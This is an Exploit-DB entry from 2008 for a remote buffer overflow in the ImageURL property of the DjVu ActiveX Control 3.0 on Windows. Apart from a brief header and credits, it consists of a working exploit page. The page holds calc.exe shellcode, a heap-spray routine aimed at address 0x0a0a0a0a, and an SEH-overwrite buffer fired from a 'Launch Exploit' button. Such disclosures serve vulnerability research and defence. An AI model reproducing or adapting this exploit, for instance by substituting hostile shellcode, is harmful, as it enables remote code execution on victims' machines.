Exploit-DB #6878
Description: DjVu - ActiveX Control 3.0 ImageURL Property Overflow
Type: remote
Platform: windows
Date: 2008-10-30
Author: Shahriyar Jalayeri

Exploit:
<!--
DjVu ActiveX Control ImageURL Property Overflow
From DjVu.org :
"DjVu (pronounced "dï¿½jï¿½ vu") is a digital document format with advanced compression technology and high performance value. 
DjVu allows for the distribution on the Internet and on DVD of very high resolution images of scanned documents, 
digital documents, and photographs. DjVu viewers are available for the web browser, the desktop, and PDA devices."

vulnerability is in DjVu ActiveX Control 3.0 for Microsoft (r) Office ( DjVu_ActiveX_MSOffice.dll)
you can use heap spray to exploit this vulneability but I like to use this multiple technique ( SEH overwrite + Heap Spray ) 
oooo, there is also /SafeSEH OFF 
other properties are also vulnerable ( Mode or maybe Page and Zoom )
-------------------------------------------------------------------------------------------------------------------------------------------------
{ special Tnx goes to my friends : str0ke , Amir Ashtiyani ,Alireza , Amir , Yashar , Vahid  and all snoop members }
Shahriyar Jalayeri  <Shahriyar.j // gmail // com > 
Snoop Security Research committee < Snoop-security.com >
-->
<html>
<object id=boom classid="clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C" ></object>
  <input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
   <script>
   // clac.exe
   var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                           "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                           "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                           "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                           "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                           "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                           "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                           "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                           "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                           "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                           "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                           "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                           "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                           "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                           "%u652E%u6578%u9000");
						

 var spraySlide = unescape("%u9090%u9090");
 // address I use to jump ( ASCII Address ) 
 var heapSprayToAddress = 0x0a0a0a0a;
 var heapBlockSize = 0x400000;
 var SizeOfHeapDataMoreover = 0x5;
 var payLoadSize = (shellcode.length * 2);
 var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
 var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
 var memory = new Array();
 function getSpraySlide(spraySlide, spraySlideSize)
   {
    while (spraySlide.length*2<spraySlideSize)
     {
      spraySlide += spraySlide;
     }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return (spraySlide);
   }
  spraySlide = getSpraySlide(spraySlide,spraySlideSize);
   for (i=0;i<heapBlocks;i++)
  {
    memory[i] = spraySlide +  shellcode;
  }
function Exploiter(){
	var Buffer = 'A';
	// this size  of  'A' strings overwrite eip and  it cause and exception so we jumt to seh handler
	var BufferSize = 1684;
	// Next seh handler never execute
	var NextSehHandler = unescape("%90%90%90%90");
	// now we jump to our address in sprayed heap block and the Shellcode get execute !
	var SehHandler = unescape("%0a%0a%0a%0a");
	while(Buffer.length<BufferSize) Buffer += Buffer;
	Buffer = Buffer.substring(0,BufferSize);
	boom.ImageURL = Buffer + NextSehHandler + SehHandler ; 
}
   </script>
</html>

# milw0rm.com [2008-10-30]